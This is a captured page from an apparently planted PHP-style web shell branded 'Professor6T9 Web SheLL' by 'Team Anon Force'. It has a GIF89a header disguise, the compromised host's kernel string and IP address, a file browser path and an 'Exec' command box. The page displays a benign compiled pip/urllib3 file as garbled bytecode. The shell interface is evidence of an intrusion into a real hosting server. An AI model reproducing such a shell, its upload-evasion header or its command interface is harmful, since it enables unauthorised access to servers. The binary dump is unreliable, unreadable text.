GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium22.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
68.65.122.106
/
opt
/
alt
/
python311
/
lib
/
python3.11
/
site-packages
/
pip
/
_vendor
/
urllib3
/
util
/
__pycache__
[ HOME ]
Exec
Submit
File Name : ssltransport.cpython-311.pyc
� �Re � �T � d dl Z d dlZd dlZd dlmZ d dlmZ dZ G d� d� � ZdS )� N)�ProxySchemeUnsupported)�sixi @ c �� � e Zd ZdZed� � � Z d!d�Zd� Zd� Zd� Z d"d �Z d#d�Zd$d �Zd%d�Z d%d�Z d&d�Zd� Zd� Zd'd�Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd� Zd(d�Zd � ZdS ))�SSLTransportaL The SSLTransport wraps an existing socket and establishes an SSL connection. Contrary to Python's implementation of SSLSocket, it allows you to chain multiple TLS connections together. It's particularly useful if you need to implement TLS within TLS. The class supports most of the socket API operations. c �z � t | d� � s*t j rt d� � �t d� � �dS )z� Raises a ProxySchemeUnsupported if the provided ssl_context can't be used for TLS in TLS. The only requirement is that the ssl_context provides the 'wrap_bio' methods. �wrap_biozKTLS in TLS requires SSLContext.wrap_bio() which isn't supported on Python 2zXTLS in TLS requires SSLContext.wrap_bio() which isn't available on non-native SSLContextN)�hasattrr �PY2r )�ssl_contexts ��/builddir/build/BUILDROOT/alt-python311-pip-21.3.1-3.el8.x86_64/opt/alt/python311/lib/python3.11/site-packages/pip/_vendor/urllib3/util/ssltransport.py�$_validate_ssl_context_for_tls_in_tlsz1SSLTransport._validate_ssl_context_for_tls_in_tls sZ � � �{�J�/�/� ��w� �,�,�� � � -�9�� � � � � NTc � � t j � � | _ t j � � | _ || _ || _ |� | j | j |�� � | _ | � | j j � � dS )zV Create an SSLTransport around socket using the provided ssl_context. )�server_hostnameN) �ssl� MemoryBIO�incoming�outgoing�suppress_ragged_eofs�socketr �sslobj�_ssl_io_loop�do_handshake)�selfr r r r s r �__init__zSSLTransport.__init__, su � � � ���� �� ���� �$8��!����!�*�*��M�4�=�/� +� � ��� ���$�+�2�3�3�3�3�3r c � � | S �N� �r s r � __enter__zSSLTransport.__enter__? s � ��r c �. � | � � � d S r )�close)r �_s r �__exit__zSSLTransport.__exit__B s � �� � �����r c �4 � | j � � � S r )r �filenor s r r&